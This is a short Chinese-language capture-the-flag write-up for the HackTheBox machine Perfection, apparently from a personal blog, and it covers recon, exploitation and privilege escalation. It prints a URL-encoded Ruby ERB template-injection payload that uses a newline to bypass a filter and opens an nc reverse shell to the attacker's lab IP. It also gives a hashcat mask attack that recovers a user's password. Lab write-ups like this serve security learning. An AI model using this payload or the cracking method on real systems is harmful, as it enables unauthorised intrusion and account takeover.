Before all
Attacker’s IP : 10.10.14.46
Victim’s IP : 10.10.11.253
卡在一開始的Ruby Rails的SSTI= =菜,就多練
Write up
RECON
port scan
command:
1 | rustscan -a 10.10.11.253 --ulimit 5000 -- -sC -sV -Pn |
result:
老樣子 = =
directory enumeration
result:
沒有什麼特別的東西…
Exploit
web exploitation
在web的footer發現WEBrick 1.7.0的使用:
合理推測是Ruby的網站
嘗試使用 exploit-db 上面關於WEBrick的CVE,不過都沒用
有個路徑/weighted-grade-calc
,是一個簡單的分數加權計算程式
按下送出後的結果:
嘗試使用COMMAND INJECTION之類的不過都無果,會有警告跳出來:
然後我就卡住了 :D
最後偷喵了別人的write-up:https://medium.com/@andrewss112/hackthebox-perfection-49ab3e6ac224
原來要用 %0A
繞過檢查 + Ruby Rails SSTI啊!!!
Final Payload:
1 | category1=x%0A%3C%25%3D%20system%28%22rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.10.14.46%201004%20%3E%2Ftmp%2Ff%22%29%3B%20%25%3E&grade1=100&weight1=30&category2=HACKING&grade2=80&weight2=10&category3=thinking&grade3=80&weight3=10&category4=meow&grade4=97&weight4=25&category5=77&grade5=77&weight5=25 |
註:SSTI的payload:
1 | <%= system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.46 1004 >/tmp/f"); %> |
開彈reverse shell
成功!!!
Previlige Escalation
password cracking
在本地port 8089架python http server
command:
1 | python3 -m http.server 8089 |
然後從機器抓小豌豆進去
sudo
可以讓我打到變成root,所以要找到使用者密碼。
在本地有個檔案Migration/pupilpath_credentials.db
,找到一個密碼,那很可能就是susan在機器上的密碼。
結合linpeas發現的可疑email檔案
找到密碼格式。
利用這些資訊配合hashcat進行密碼爆破:
command:
1 | hashcat -m 1400 pass -a 3 'susan_nasus_?d?d?d?d?d?d?d?d?d' -t 64 |
找到密碼susan_nasus_413759210
!
最後成為root
After all
我下午484應該挑一台Medium打打看(?)
附上比hashcat慢一點的python作法